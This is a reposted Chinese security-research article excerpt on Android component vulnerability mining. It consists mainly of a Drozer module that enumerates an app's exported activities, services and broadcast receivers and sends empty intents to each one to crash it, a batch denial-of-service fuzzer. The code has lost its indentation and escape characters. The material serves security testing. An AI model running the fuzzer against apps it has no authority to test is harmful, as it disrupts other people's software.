2.2.2 Activity漏洞挖掘
2.2.3 Service漏洞挖掘
2.2.4 BroadcastReceiver漏洞挖掘
2.2.5 ContentProvider漏洞挖掘
-ContentProvider注入漏洞
2.2.6 批量拒绝服务漏洞
from drozer import android
from drozer.modules import common, Module
class Deny(Module, common.Filters, common.PackageManager):
name = "find NullPointerException"
description = "."
examples = """
dz> run app.package.deny com.android.browser
6 activities exported
4 broadcast receivers exported
1 content providers exported
0 services exported"""
author = ""
date = ""
license = "BSD (3 clause)"
path = ["exp", "fuzz"]
permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
def add_arguments(self, parser):
parser.add_argument("package", help="the identifier of the package to inspect")
def attack(self,component,package,flags):
act=None
cat=None
data=None
comp=(package,component.name)
extr=None
flgs=None
if(flags=='activity'):
flgs =['ACTIVITY_NEW_TASK']
intent = android.Intent(action=act,component=comp,category=cat,data_uri=None, extras=extr, flags=flgs, mimetype=None)
if intent.isValid():
if(flags=='activity'):
self.getContext().startActivity(intent.buildIn(self))
if(flags=='service'):
self.getContext().startService(intent.buildIn(self))
if(flags == 'receiver'):
self.getContext().sendBroadcast(intent.buildIn(self))
else:
self.stderr.write("[-] Invalid Intent!n")
def execute(self, arguments):
if arguments.package != None:
package = self.packageManager().getPackageInfo(arguments.package, common.PackageManager.GET_ACTIVITIES | common.PackageManager.GET_RECEIVERS | common.PackageManager.GET_PROVIDERS | common.PackageManager.GET_SERVICES)
application = package.applicationInfo
activities = self.match_filter(package.activities, 'exported', True)
receivers = self.match_filter(package.receivers, 'exported', True)
providers = self.match_filter(package.providers, 'exported', True)
services = self.match_filter(package.services, 'exported', True)
self.stdout.write("Attack Surface:n")
self.stdout.write(" %d activities exportedn" % len(activities))
self.stdout.write(" %d broadcast receivers exportedn" % len(receivers))
self.stdout.write(" %d content providers exportedn" % len(providers))
self.stdout.write(" %d services exportedn" % len(services))
if (application.flags & application.FLAG_DEBUGGABLE) != 0:
self.stdout.write(" is debuggablen")
if package.sharedUserId != None:
self.stdout.write(" Shared UID (%s)n" % package.sharedUserId)
actions=[activities,receivers,services]
action_str=['activity','receiver','service']
i=-1
try:
for action in actions:
i+=1
if len(action) > 0:
for tmp in action:
try:
if len(tmp.name) > 0:
self.stdout.write(" [+]%s name:%sn" % (action_str[i],tmp.name))
self.attack(component=tmp, package=arguments.package, flags=action_str[i])
except Exception, e:
self.stdout.write(" error-->%s name:%sn" % (action_str,tmp.name))
self.stdout.write(" errorcontent:%sn" % e)
continue
except:
self.stdout.write(" error")
else:
self.stdout.write("No package specifiedn")
原文始发于微信公众号（山石网科安全技术研究院）：基于Drozer框架对安卓四大组件的漏洞挖掘总结
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论